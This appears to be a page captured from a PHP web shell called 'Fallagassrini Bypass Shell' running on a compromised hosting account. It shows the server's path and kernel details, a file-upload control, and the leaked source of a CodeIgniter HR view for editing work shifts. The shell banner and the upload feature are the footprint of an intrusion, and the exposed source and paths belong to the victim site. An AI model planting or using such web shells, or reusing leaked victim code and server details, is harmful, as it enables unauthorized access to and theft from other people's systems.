? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sibs_draft/system/application/views/HR/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sibs_draft/system/application/views/HR/editworkshifts.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

//$employee_list_shift=$this->mastermodel->get_data_joined('timesheet_work_shift_employees','employee','employee_id','employee_id',$viewinfo->work_shift_id,'work_shift_id','staffemployeedetails.staffid');
?>
    <script type="text/javascript">

jQuery(document).ready(function () {

	$('input.one').datepick({dateFormat: 'dd-mm-yyyy'});

});
</script>
<?php

foreach($viewinfo as $updata)
{
    $workshiftid=$updata['work_shift_id'];
    $workshiftname=$updata['work_shift_name'];
    $workshiftdate=$updata['work_shift_wef_date'];
    $start= $updata['work_shift_starting_time'];
    $end= $updata['work_shift_ending_time'];
    $half_hour= $updata['work_shift_ending_time_half'];
    $work_shift_grace_time= $updata['work_shift_grace_time'];
    $work_shift_break_starting_time= $updata['work_shift_break_starting_time'];
    $work_shift_break_ending_time= $updata['work_shift_break_ending_time'];
}
?>

<div class="select-bar">
<label>
    <img src="<?=base_url()?>/assets/images/backbutton.png" title="Back"  onclick="loadworkshifts('<?=$_SESSION['pagenum']?>','<?=$_SESSION['searchoption']?>','<?=$_SESSION['searchtxt']?>')" alt="Back" align = "center" width="25" height="25"  /></label>

		  </div>


<fieldset>
    <legend>Update Work Shifts</legend>
    <?php
    $attributes = array('id' => 'customForm');
    echo form_open('hr/editworkshifts',$attributes);
    echo form_hidden('workshiftid',$workshiftid);
    ?>
    <ul>
        <li>
            <label>Shift Name</label>
             <?php
             $data = array(
                  'name'        => 'work_shift_name',
                  'id'          => 'work_shift_name',
                 'value'        =>  $workshiftname
                  );

            ?>
                 <?php echo form_input($data).form_error($data); ?><span id="workshiftInfo" class="red_bold">*</span>
        </li>
    <li>
        <label>WEF Date</label>


    <input class="one" name="work_shift_wef_date" id="work_shift_wef_date" readonly="true" value="<?php echo $this->mastermodel->convdatformat($workshiftdate);?>"   type="text" style="background-image: url(../../../../assets/images/datefocus.gif);">


        </li>


        <li>
            <?php
                $start_hour = substr($start, 0,2);
                $start_minute = substr($start, 3,2);

            ?>
            <label for="data">Starting Time</label>
             <?php echo ''; echo createHours('start_hour',$start_hour); ?>
             <?php echo createMinutes('start_minute',$start_minute); ?>
        </li>
        <li>
            <?php
                $end_hour = substr($end, 0,2);
                $end_minute = substr($end, 3,2);

            ?>
             <label for="data">Ending Time</label>
             <?php echo createHours('end_hour',$end_hour); ?>
             <?php echo createMinutes('end_minute',$end_minute); ?>
        </li>
        <?php
                $break_start_hour = substr($work_shift_break_starting_time, 0,2);
                $break_start_minute = substr($work_shift_break_starting_time, 3,2);
                $break_end_hour = substr($work_shift_break_ending_time, 0,2);
                $break_end_minute = substr($work_shift_break_ending_time, 3,2);

            ?>
         <li>
            <label for="data">Break Starting Time</label>
             <?php echo createHours('break_start_hour',$break_start_hour); ?>
             <?php echo createMinutes('break_start_minute',$break_start_minute); ?>
        </li>
        <li>
            <label for="data">Break Ending Time</label>
             <?php echo createHours('break_end_hour',$break_end_hour); ?>
             <?php echo createMinutes('break_end_minute',$break_end_minute); ?>
        </li>
        <li>
            <?php
                $end_hour_half = substr($half_hour, 0,2);
                $end_minute_half = substr($half_hour, 3,2);

            ?>
             <label for="data">Half day ending Time</label>
             <?php echo createHours('end_hour_half',$end_hour_half); ?>
             <?php echo createMinutes('end_minute_half',$end_minute_half); ?>

        </li>
         <li>

             <label for="data">Select Employees</label>
            <table border="0" cellpadding="3" cellspacing="0">
                <tr>
                    <td>
                        <?php  
                           $employee_list = $this->mastermodel->getemployeesforshift('', 'NOT IN');
                        ?>
                        
                        <select name="employees_1" id="employees_1" size="9" MULTIPLE style="width: 150px;">
                            <?php
                            
                            foreach($employee_list as $list)
                            {
                                echo "<option value='".$list['employee_id']."'>".$list['employee_name']."</option>";
                            }
                            ?>
                        </select>
                    </td>
                    <td>&nbsp;&nbsp;</td>
                    <td align="center" valign="middle">
                        <input type="Button" value="Add >>" style="width:70px" onClick="SelectMoveRows(document.getElementById('employees_1'),document.getElementById('employees_2'))"><br>
                        <br><br>
                        <input type="Button" value="<< Remove" style="width:70px" onClick="SelectMoveRows(document.getElementById('employees_2'),document.getElementById('employees_1'))">
                    </td>
                    <td>&nbsp;&nbsp;</td>
                    <td><?php  $employee_list = $this->mastermodel->getemployeesforshift($workshiftid, 'IN'); ?>
                        <select  name="employees_2[]" id="employees_2" size="9" MULTIPLE style="width: 150px;">
                            <?php
                           
                            foreach($employee_list as $list)
                            {
                                echo "<option value='".$list['employee_id']."' selected>".$list['employee_name']."</option>";
                            }
                            ?>
                        </select>
                    </td>
                </tr>
            </table>
        </li>
        <li>
            <label for="data">Grace Time(minutes)</label>
             <?php
                  $data = array(
                  'name'        => 'work_shift_grace_time',
                  'id'          => 'work_shift_grace_time',
                  'class'       =>'required number',
                 'value'        =>  $work_shift_grace_time
                  );
                  echo form_input($data).form_error($data);
             ?>

        </li>
        <li><label for="submit">&nbsp;</label>
        	<button type="submit" id="submit" onclick="">Update</button>
        </li>
    </ul>
    <input type ="hidden" name="work_shift_id"/>

<?php echo form_close();?>
</fieldset>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net